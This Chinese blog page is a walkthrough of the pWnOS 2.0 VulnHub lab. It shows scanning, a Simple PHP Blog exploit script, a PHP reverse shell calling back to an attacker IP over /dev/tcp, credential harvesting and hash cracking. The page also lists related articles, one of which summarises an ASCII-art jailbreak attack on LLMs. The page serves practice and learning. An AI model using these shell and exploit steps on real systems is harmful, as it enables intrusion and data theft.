当前位置：首页 > news >正文

PWNOS:2.0(vulnhub靶机)

news 来源：原创 2025/6/27 0:57:19

文章目录

靶机地址
主机发现、端口扫描
web渗透
- 目录探测
- 漏洞利用
- 权限提升
解密工具地址
总结

靶机地址

https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z

这里如果是windows系统直接使用vmware或者virtubox打开可以使用,如果是mac系统需再去做一个配置，比较麻烦

这里给一个参考地址:https://blog.csdn.net/qq_35664104/article/details/131757633

主机发现、端口扫描

han@Kali:~/RedTeam$ sudo arp-scan -l 
han@Kali:~/RedTeam$ sudo nmap -sn 192.168.100.0/24

在这里插入图片描述
通过主机发现扫描到了主机的ip地址,进一步进行端口扫描以及下一步的利用:


han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap --min-rate 10000 192.168.100.104 -p- #使用-p-扫描全端口,min-rate是扫描速率
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap -sT -A -O -p22,80 192.168.100.104   #-sT是建立tcp扫描(全连接扫描) -A是全面扫描检测包括版本号,操作系统,同时还会利用脚本扫描 -O 是探测操作系统类型 -p时端口号
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap -sU -p22,80 192.168.100.104  #-U参数是建立UDP扫描
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap --script=vlun 192.168.100.104    #--script=vuln 使用脚本扫描用于常见的漏洞的探测

第一步扫描我们很清晰的看到有80端口和22端口
在这里插入图片描述

到这里我们可以清晰的看到,80端口给我们暴露的攻击面比22端口多,这里我们吧22端口的优先级排后,使用80尝试渗透

web渗透

目录探测

这里介绍3个工具的探测,其实web目录探测工具很多,根据自己的习惯来写就好了

han@Kali:~/RedTeam/PWNOS:2.0$ sudo gobuster dir -u http://192.168.100.104 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
han@Kali:~/RedTeam/PWNOS:2.0$ sudo dirsearch -u http://192.168.100.104
han@Kali:~/RedTeam/PWNOS:2.0$ sudo dirb http://192.168.100.104

这里也只是根据我自己的一些习惯给到的一些参数,这里可以根据自己的需求,结合ai等来做一些具体的配置更好的配合我们来做渗透测试

在这里插入图片描述

在这里插入图片描述
这里同理,对blog目录进行探测

http://192.168.100.104/blog/
http://192.168.100.104/blog/config
http://192.168.100.104/includes
http://192.168.100.104/index.php
http://192.168.100.104/login

漏洞利用

在这里尝试使用sql inject 但是… 在这里插入图片描述
到此好像这一个利用手法没有后续可以利用的点,所以这里准备换方法
这里我们看到了有blog的一个目录,还有一个登陆框

这里也并没有可利用的,这里想到blog目录可能是一个cms,需要我们做一个信息收集

han@Kali:~/RedTeam/PWNOS:2.0$ whatweb http://192.168.100.104/blog

在这里插入图片描述
这里我们发现了是Simple PHP Blog 0.4.0 cms 所以这里可以尝试从这里入手

han@Kali:~/RedTeam/PWNOS:2.0$ searchsploit Simple PHP Blog 0.4.0

在这里插入图片描述
这里看到了有一个rb 一个pl可以使用

使用search -m 1191.pl将其下载到本地

在这里插入图片描述
这里给我们提示,需要加入地址和参数e,我们尝试构造

这里提到可以使用2来得到一个密码文件的hash值使用3能创建一个用户密码,所以这里使用3来创建用户密码尝试看能不能使用login登陆框来登陆

han@Kali:~/RedTeam/PWNOS:2.0$ ./1191.pl -h http://192.168.100.104/blog -e 2

这里使用-h要加入url地址,并且使用/blog目录,起初在这里尝试了很多次都出现了问题,后来发现是必须使用/blog才能成功

han@Kali:~/RedTeam/PWNOS:2.0$ ./1191.pl -h http://192.168.100.104/blog -e 3 -U admin -P admin

在这里插入图片描述
这里提示我们设置了admin用户和admin密码,这里尝试使用登陆
这是好事,登陆成功了,这里我们看到是有一个上传的接口,这也是好事!

han@Kali:~/RedTeam/PWNOS:2.0$ echo '<?php exec("/bin/bash -c '\''bash -i >& /dev/tcp/192.168.100.106/4444 0>&1'\''");?>' > reverse_shell.php                                                                                                                                                                     
han@Kali:~/RedTeam/PWNOS:2.0$ cat reverse_shell.php

由于这里是使用echo来输入 ,所以需要使用转义符号来
在 Shell 中使用单引号包裹整个 PHP 内容，此时内部的单引号需要通过 ‘’’ 转义转义之后才是我们的‘
因为这里存在上传点而且是php的环境,所以我们尝试使用php代码来执行反弹shell,这里还可以使用msf生成反弹shell上线msf,也可以使用webshell工具来执行,根据自己的需求,也根据环境的不同来选择

在这里插入图片描述

针对上面命令做一个简单的介绍:
<?php ?> 这里头的代码会被当作php语句而执行
exec()函数是php中用于执行系统命令的函数
/bin/bash -c 通过-c参数来执行后续的字符串命令
bash -i >& /dev/tcp/… 我们熟悉的反弹shell命令
bash -i 启动交互式的shell
/dev/tcp/是linux的特殊设备,用于建立TCP连接
>&是将标准输出和标准的错误重定向到TCP连接
0>&1 将标准输入重定向到标准输出,形成双向通信通道

上传反弹即可

han@Kali:~/RedTeam/PWNOS:2.0$ nc -lnvvp 4444

在这里插入图片描述

权限提升

这里可以看到已经得到shell,需要我们进一步进行提权了
在这里插入图片描述
非常好我们找到了一个有意义的文件

mysql连接的文件
root
goodday

在这里插入图片描述
这里就可以尝试登陆,mysql或者是使用22端口ssh登陆,这里就是可以想到的思路

但是非常遗憾,这里都不能登陆,思路再次断了

这里就只能做进一步的信息收集了

在这里插入图片描述

说来也巧,这里刚回退到上一个目录,又发现了一个mysql的连接文件

在这里插入图片描述

还是root,但是密码不同了
root
root@ISIntS

尝试登陆

非常好,使用root@ISIntS 这个密码直接登陆成功了,还是root权限

这里其实我想到,既然有数据库连接文件,就应该是和数据库有什么关系,所以这里就又进行了一些信息收集

在这里插入图片描述
但是这里卡着没反应了

当时的第一反应我以为是密码错了,可是后来一直卡着没反应,没办法只好重新反弹,我突然想到会不会是终端不友好的问题,所以我尝试使用了python来启动一个交互好点的终端

在这里插入图片描述
这是好事,可以使用python起一个终端

www-data@web:/var/www/blog/images$ python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

这里和我们想的是一样的

在数据库中给你做一波信息收集

mysql> show databases;
mysql> use ch16;
mysql> select * from users;

在这里插入图片描述

这里得到了一个用户Dan的密码c2c4b4e51d9e23c02c15702c136c3e950ba9a4af

han@Kali:~/RedTeam/PWNOS:2.0$ hash-identifier 'c2c4b4e51d9e23c02c15702c136c3e950ba9a4af'

使用hash-identifier来识别一下hash值是哪种加密类型,方便我们去判断如何解密

在这里插入图片描述
这里是sha-1加密类型,这里需要使用工具来尝试了

解密工具地址

https://www.somd5.com/

在这里插入图片描述

成功得到密码:killerbeesareflying

尝试登陆ssh

在这里插入图片描述

很遗憾这里登录不成功

看来这里就只有通过root直接登陆,而dan用户没有更多的后续了,那就到此为止了!

总结

整体来说，就是要有一个渗透测试思路，最重要的还是思路，需要我们多多重复多多练习才有思路,文章只做技术交流，希望对各位有帮助！

PWNOS:2.0(vulnhub靶机)

文章目录靶机地址主机发现、端口扫描web渗透目录探测漏洞利用权限提升解密工具地址总结靶机地址 https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z 这里如果是windows系统直接使用vmware或者virtubox打开可以使用,如果是mac系统需再去做一个配置，比较麻烦这里…...

编程日记 2025/6/27 0:57:19

ubuntu22.04部署Snipe-IT

文章目录参考链接一、写在前二、安装操作系统三、安装 PHP四、下载 Snipe-IT五、安装依赖六、安装数据库并创建用户七、安装 Snipe-IT八、安装 Nginx九、Web 继续安装 Snipe-IT补充： 最后参考链接 How to Install Snipe-IT on Ubuntu 22.04 https://www.rosehost…...

编程日记 2025/6/22 13:47:14

【EDA】EDA中聚类（Clustering）和划分（Partitioning）

在VLSI物理设计自动化中，聚类（Clustering）和划分（Partitioning）是两个不同的关键步骤，主要区别如下： 1. 目标与核心任务聚类（Clustering） 目标：将电路中的…...

编程日记 2025/6/27 0:27:38

Java 安全：如何实现用户认证与授权？

Java 安全：如何实现用户认证与授权？ 在当今数字化的世界中，用户认证与授权是 Java 应用程序安全的关键环节。它们确保只有经过授权的用户才能访问特定资源，保护系统免受未授权访问的威胁。本文将深入探讨如何在 Java 中实现用户认…...

编程日记 2025/5/29 12:44:24

六个能够白嫖学习资料的网站

一、咖喱君的资源库地址：https://flowus.cn/galijun/share/de0f6d2f-df17-4075-86ed-ebead0394a77 这是一个学习资料/学习网站分享平台，包含了英语、法语、德语、韩语、日语、泰语等几十种外国语言的学习资料及平台，这个网站的优势就是外语…...

编程日记 2025/6/26 16:43:12

AWS Glue ETL设计与调度最佳实践

一、引言在AWS Glue中设计和调度ETL过程时，需结合其无服务器架构和托管服务特性，采用系统化方法和最佳实践，以提高效率、可靠性和可维护性。本文将从调度策略和设计方法两大维度详细论述，并辅以实际案例说明。二、调度策略的最…...

编程日记 2025/6/27 0:31:35

《深入理解 AOP》

一、AOP 是什么 AOP（Aspect Oriented Programming），即面向切面编程，是软件开发中一种重要的编程范式。它通过横向抽取机制，将那些与业务逻辑本身无关、却为业务模块所共同调用的逻辑或责任（如事务处理、日…...

编程日记 2025/6/20 6:31:34

2022李宏毅老师机器学习课程笔记

机器学习笔记目录 1.绪论（内容概述）2.机器学习和深度学习的基本概念transformer 1.绪论（内容概述） 机器学习：让机器找一个函数，通过函数输出想要的结果。应用举例：语音识别，图像识别…...

编程日记 2025/6/27 0:49:59

时序数据库IoTDB在航空航天领域的解决方案

在快速发展的航空航天领域，高效、安全的数据管理成为了技术创新和持续发展的关键支撑。时序数据库IoTDB，凭借其国产自研、高效低流量数据同步、丰富的部署选择等优势，为航空航天产业提供了强有力的数据基础，助力产业加速转型升级。…...

编程日记 2025/6/25 9:49:46

洛谷 B3647：【模板】Floyd 算法

【题目来源】 https://www.luogu.com.cn/problem/B3647 【题目描述】给出一张由 n 个点 m 条边组成的无向图。求出所有点对 (i,j) 之间的最短路径。【输入格式】第一行为两个整数 n，m，分别代表点的个数和边的条数。接下来 m 行，每行三…...

编程日记 2025/6/27 0:54:32

【25软考网工】第三章（4）生成树协议、广播风暴和MAC地址表震荡

目录一、生成树协议1. 生成树技术背景1）单链路上行存在单点故障2）二层环路问题3）二层环路问题——广播风暴实验验证广播风暴例题1：二层环路故障现象4）二层环路问题—— MAC地址表震荡实验验证 MAC地址表震荡的现象 2…...

编程日记 2025/6/27 0:33:07

解释器体系结构风格-笔记

解释器（Interpreter）是一种软件设计模式或体系结构风格，主要用于为语言（或表达式）定义其语法、语义，并通过解释器来解析和执行语言中的表达式。解释器体系结构风格广泛应用于编程语言、脚本语言、规则引擎、…...

编程日记 2025/5/29 12:12:57

删除新安装IBM Guardium Data Protection 12.1的baltimorecybertrustroot证书

登录web console，会显示 baltimorecybertrustroot证书过期警告。采用下面的命令删除过期证书就可消除警告。 collector02.cpd.com> delete certificate keystore Select an alias from the list below to delete the corresponding certificate. Alias List:…...

编程日记 2025/6/23 1:49:21

反序列化漏洞1

一、PHP类与对象 1. 类概念理解: 类是共享相同结构和行为的对象的集合，可以理解为特征的提取。例如将耳朵长、尾巴短、红眼睛、吃胡萝卜、蹦跳行走的动物特征抽象为"兔子"类。代码结构: 使用class关键字定义类类名遵循大驼峰命名法包含成员变量(属性)和…...

编程日记 2025/6/22 19:26:24

正则表达式三剑客之——awk命令

目录一.什么是awk 二.awk的语法格式 1.选项 2. 模式（Pattern） 3. 操作（Action） 4. 输入文件（file） 5.总结三.awk的工作原理 1. 逐行扫描输入 2. 匹配模式 1.正则表达式： 2.逻辑表…...

编程日记 2025/6/27 0:34:30

施磊老师基于muduo网络库的集群聊天服务器(七)

文章目录数据表字符集问题支持中文和英文**为什么使用 utf8mb4？** 推荐查看整个表, 再单独修改客户端群组功能创建群组添加群组群组聊天接收在线群组消息接收离线群组消息补充服务器事件处理器补充服务器查询群组列表问题解决测试目前报错总结目前为止最恶心的错…...

编程日记 2025/5/29 11:29:33

多模态（3）：实战 GPT-4o 视频理解

最近，OpenAI 团队的 GPT-4o 模型，在多模态方面的能力有了大幅提升，这次我们就使用 GPT-4o 完成一个视频理解的实战。 1. 环境搭建 1.1 安装 FFmpeg 做视频处理，我们需要用到 FFmpeg 这款功能强大的开源多媒体处理工具。FFmpeg…...

编程日记 2025/6/26 11:25:58

基于python实现一个二维图片的路径规划问题

一、场景基于如下的一个楼层平面图，假设有几个预置的点（实际项目中可能是动态的点，比如找车位，找工位），做路径规划，并画在平面图上二、方案 1.准备平面室内图可以自己用QGIS/cad等其他方式…...

编程日记 2025/6/26 10:28:22

云服务器centos 安装hadoop集群

百度搜索云服务器centos 安装hadoop 创建Hadoop用户 sudo useradd hadoop -m -s /bin/bash sudo passwd hadoop 123456 下载Hadoop wget https://mirrors.tuna.tsinghua.edu.cn/apache/hadoop/common/hadoop-3.2.4/hadoop-3.2.4.tar.gz 解压并移动Hadoop到指定目录 tar …...

编程日记 2025/6/23 11:49:16

【k8s】sidecar边车容器

一、Sidecar 模式简介 Sidecar 模式是一种常见的微服务架构设计模式。它通过将附加功能或服务与主应用程序部署在同一容器或主机上，从而实现对主应用程序的增强和扩展。Sidecar 的名称来源于摩托车的边车，它与摩托车紧密相连，为主车提供额外…...

编程日记 2025/6/25 22:44:27

Web漏洞--XSS之订单系统和Shell箱子

本文主要内容手法 XSS平台使用 XSS工具使用 XSS结合其他漏洞 XSS具体使用场景某订单系统XSS盲打_平台某Shell箱子系统XSS盲打_工具 [1]订单系统经典案例第一个简易攻击流程（订单系统）：通过平台完成XSS跨站之后&a…...

编程日记 2025/6/23 16:43:27

# 构建词汇表：自然语言处理中的关键步骤

构建词汇表：自然语言处理中的关键步骤在自然语言处理（NLP）任务中，词汇表（Vocabulary）是文本数据预处理的核心组件之一。它将文本中的单词或字符映射为数值索引，从而让计算机能够理解和处理语言…...

编程日记 2025/6/25 22:41:55

新！在 podman-machine-default 中安装 CUDA、cuDNN、Anaconda、PyTorch 等并验证安装

#工作记录一、前言在 Windows 系统开发环境中，Podman Desktop 凭借强大的容器管理与 WSL-Linux 子系统集成能力备受开发者关注。其中，podman-machine-default 是 Podman Desktop 安装后自带的默认 WSL-Fedora 子系统，支持与显卡通信&am…...

编程日记 2025/6/21 20:07:47

python_BeautifulSoup提取html中的信息

目录描述： 过程： step one 下载html网页到本地 step two 提取html信息 list_con soup.select(.list-con) [0] li_list list_con.find_all(li) a li.find(span).find(a) title a.get(title) url a.get(href) span li.find(span).find(spa…...

编程日记 2025/6/26 7:23:36

pcd2pgm的launch文件实现

1.新建工作空间和克隆代码 mkdir -p pcd2pgm_launch/src && cd pcd2pgm_launch/src git clone https://github.com/Hinson-A/pcd2pgm_package 2. 编译 cd .. catkin_make -j4 3.修改launch 在launch文件目录下，可以用gedit 打开launch文件&#xff0c…...

编程日记 2025/5/8 17:08:32

Vue里面elementUi-aside 和el-main不垂直排列

先说解决方法 main.js少导包 import element-ui/lib/theme-chalk/index.css; //加入此行即可问题复现排查了一个小时终于找出来问题了，建议导包去看官方的文档，作者就是因为看了别人的导包流程导致的问题导包官网地址Element UI导包快速入门...

编程日记 2025/6/22 12:25:28

论文阅读：2024 ACL ArtPrompt: ASCII Art-based Jailbreak Attacks against Aligned LLMs

总目录大模型安全相关研究：https://blog.csdn.net/WhiffeYF/article/details/142132328 Artprompt: Ascii art-based jailbreak attacks against aligned llms https://www.doubao.com/chat/3846685176618754 https://arxiv.org/pdf/2402.11753 https://github…...

编程日记 2025/6/24 21:26:03

项目maven版本不一致导致无法下载

路程：打开一个新项目发现，maven加载不了报错： Error running ‘dataManage [clean]’ No valid Maven installation found. Either set the home directory in the configuration dialog or set the M2_HOME environment variable on your s…...

编程日记 2025/6/24 12:40:22

论文阅读：2024 NeurIPS Group Robust Preference Optimization in Reward-free RLHF

Group Robust Preference Optimization in Reward-free RLHF https://www.doubao.com/chat/3870738843518978 https://arxiv.org/pdf/2405.20304 速览研究动机传统RLHF忽视群体偏好差异，导致模型对少数群体表现不佳，需提升群体鲁棒性。研究问题如…...

编程日记 2025/6/26 4:16:33

数据可视化平台产品介绍及功能特色

数据可视化平台是一款适用于高校教学和各领域企业的零门槛可视化工具，能够解决高校数据分析与可视化类课程教学、实训问题。平台通过浏览器即可访问，无需安装客户端。平台内置公式编辑器与指标构建器，学生可通过四则运算、分组聚合等方式衍生…...

编程日记 2025/6/25 20:54:17

MySQL索引优化、SQL分析与运行原理 - Java架构师面试实战

MySQL索引优化、SQL分析与运行原理 - Java架构师面试实战第一轮提问面试官：马架构，请问您对MySQL的B树索引有什么理解？ 马架构：B树是一种平衡多路查找树，所有的数据节点都存储在叶子节点上。相比于B树&#xff0c…...

编程日记 2025/6/25 22:23:55

C++学习：六个月从基础到就业——STL：函数对象与适配器

C学习：六个月从基础到就业——STL：函数对象与适配器本文是我C学习之旅系列的第二十九篇技术文章，也是第二阶段"C进阶特性"的第八篇，主要介绍C STL中的函数对象与适配器。查看完整系列目录了解更多内容。引言在前面的…...

编程日记 2025/6/24 7:16:10

Linux基础篇、第四章_02磁盘及分区管理fdisk 和 gdisk

题目：Linux 磁盘及分区管理版本号: 1.0,0 作者: 老王要学习日期: 2025.04.25 适用环境: Centos7 文档说明本教程适用于 Centos7 环境，详细介绍 Linux 磁盘及分区管理操作。包含虚拟机添加磁盘的关机与开机添加方法、MBR 和 GPT 两种分区方式特点、…...

编程日记 2025/6/25 1:22:23

火山云的市场竞争

火山云是字节跳动旗下的云计算服务，对吧？那它的竞争对手应该包括国内外的大型云服务提供商。首先，国际市场上，像AWS、Azure、Google Cloud这些巨头肯定是大头。国内的话，阿里云、腾讯云、华为云这些应该都是主要的竞争…...

编程日记 2025/6/24 10:56:28

创建型设计模式之：简单工厂模式、工厂方法模式、抽象工厂模式、建造者模式和原型模式

创建型设计模式之：简单工厂模式、工厂方法模式、抽象工厂模式、建造者模式和原型模式 （一）简单工厂模式简单工厂模式将对象的实例化过程封装到一个工厂类中，根据输入的条件创建不同类型的对象。角色划分： 抽象产品…...

编程日记 2025/6/24 1:48:46

【Linux内核设计与实现】第三章——进程管理01

文章目录 1. 引言2. 进程&线程——概念3. 进程控制块/进程描述符(PCB)4. 进程内核栈（Kernel Stack）4.1. 进程内核栈的定义4.2. thread_info 体系结构相关进程描述4.3. 定位进程描述符(task_struct)和内核栈以及内核栈指针的问题 5. 进程 ID&#xff…...

编程日记 2025/6/23 12:45:46

正大模型视角下的市场结构判断逻辑

正大模型视角下的市场结构判断逻辑在多数交易策略中，结构识别往往先于方向判断。以正大的数据研判风格为例，其核心逻辑是：价格行为不能孤立解读，必须结合时间与成交效率来判断当前结构的有效性。例如，一个上涨过程&…...

编程日记 2025/6/20 9:31:25

4.25学习——文件上传之00截断

继昨天学习的基础文件上传内容，进一步学习文件上传的绕过方式 00截断绕过原理：00截断是操作系统层的漏洞，由于操作系统是C语言或汇编语言编写的，这两种语言在定义字符串时，都是以\0（即0x00）作…...

编程日记 2025/5/27 13:29:41

黑马Redis（三）黑马点评项目

优惠卷秒杀一、全局唯一ID 基于Redis实现全局唯一ID的策略： Component RequiredArgsConstructor public class RedisIdWorker {private static final Long BEGIN_TIMESTAMP1713916800L;private static final int COUNT_BITS 32;Resourceprivate final StringRed…...

编程日记 2025/6/23 18:13:11

dedecms织梦arclist标签noflag属性过滤多个参数

织梦dedecms系统arclist标签noflag属性默认是只能过滤一个参数，比如过滤推荐是noflagc，过滤有图片的文章是noflagc，在模板制作过程中，有时候我们为了seo和避免重复，需要过滤多个参数。今天小编就来跟大家讲讲织梦dedec…...

编程日记 2025/6/23 11:30:22

Jira、PingCode、Redmine等18款缺陷管理工具对比评测

本文主要介绍了以下：1. PingCode; 2. Worktile; 3. Jira; 4. Bugzilla; 5. TAPD; 6. 码云; 7. Redmine; 8. Trac; 9. 蓝鲸智云; 10. 阿里云效等等18款缺陷管理工具。在现代软件开发和项目管理中，缺陷管理工具扮演着至关重要的角色。随着企业对软件质量的…...

编程日记 2025/5/17 20:12:00

京东以图搜图（拍立淘）API接口返回参数详解

京东以图搜图（拍立淘）API接口的返回参数通常以结构化JSON格式呈现，涵盖商品基础信息、相似度评分、库存状态及扩展字段，以下为关键参数详解及使用建议： 一、核心返回参数解析状态标识类 status：请求状态…...

编程日记 2025/6/22 11:28:53

LSTM+KNN - 多元数据异常检测！

大家好！我是我不是小 upper~ 今天想和大家分享一个超实用的案例：如何通过 LSTM 与 KNN 实现多元数据异常检测。想象一下，在工厂的智能化监控场景中，各类传感器实时采集着温度、湿度、压力等海量数据。我们的目标，就是从中精准识别出设备潜在故障等异常情况。 LSTM 作为时…...

编程日记 2025/6/25 8:16:54

OpenHarmony之电源管理子系统公共事件定义

OpenHarmony之电源管理子系统公共事件定义电源管理子系统面向应用发布如下系统公共事件，应用如需订阅系统公共事件，请参考公共事件接口文档。 COMMON_EVENT_BATTERY_CHANGED 表示电池充电状态、电平和其他信息发生变化的公共事件的动作。值&#x…...

编程日记 2025/6/24 19:38:34

angular 实现可编辑可选择复制的表格

这个实现的核心就是ag-grid 当然有类似的库就不必多说，React, Vue和纯h5类似。简单贴一下代码 1.首先是h5部分，就一个id为supply-chain-material-grid-table的div，记住要设置高度 <div class"dki-supply-chain-page-body">…...

编程日记 2025/6/26 20:50:58

组织用户数统计实现

# 完整的组织用户数统计实现完整的组织用户数统计实现，包括模拟SQL查询、完整的Java代码实现以及详细解释。 ## 1. 模拟SQL查询假设我们有一个组织表(organization)和用户表(user)，以下是模拟查询SQL： sql -- 获取各组织及其用户数量&a…...

编程日记 2025/6/25 9:32:44

天机学堂day10作业，完善兑换优惠券功能

UserCouponServiceImpl /*** 兑换码兑换优惠券* param code*/TransactionalOverridepublic void exchangeCoupon(String code) {//1、校验code是否为空if (StringUtils.isBlank(code)) {throw new BadRequestException("非法参数！");}//2、解析兑换码&…...

编程日记 2025/6/23 14:30:00

Python编程的真谛：超越语法，理解编程本质

你是否也曾陷入这样的误区：学了无数的 Python 语法、刷了几十套题，写起代码却仍然卡顿、举步维艰？这时候你才发现，真正阻碍进步的，从不是语法，而是你对“编程本质”的理解。如果你只是死记硬背Python的语…...

编程日记 2025/6/24 18:52:03

C语言函数补充

目录 static和extern函数 1.static和extern函数 static和extern都是C语言中的关键字 static 是静态的的意思，可以用来: - 修饰局部变量- 修饰全局变量- 修饰函数 extern 是用来声明外部符号的。在讲解 static 和 extern 之前再讲一下: 作用域和生命周期。 …...

编程日记 2025/6/25 22:15:33

【AI图像创作变现】04实操路径—插图/绘本/创意图集

引言如果说头像是“一个角色的起点”，那么插图、绘本和图集就是“这个角色能走多远”。相比于头像这种单图任务，插图类创作更强调批量性、叙事性与风格统一性，它既可以承载故事，也可以构成一套完整的内容产品结构。这类任务特…...

编程日记 2025/6/24 20:41:55

文章目录

靶机地址

主机发现、端口扫描

web渗透

目录探测

漏洞利用

权限提升

解密工具地址

总结

相关文章：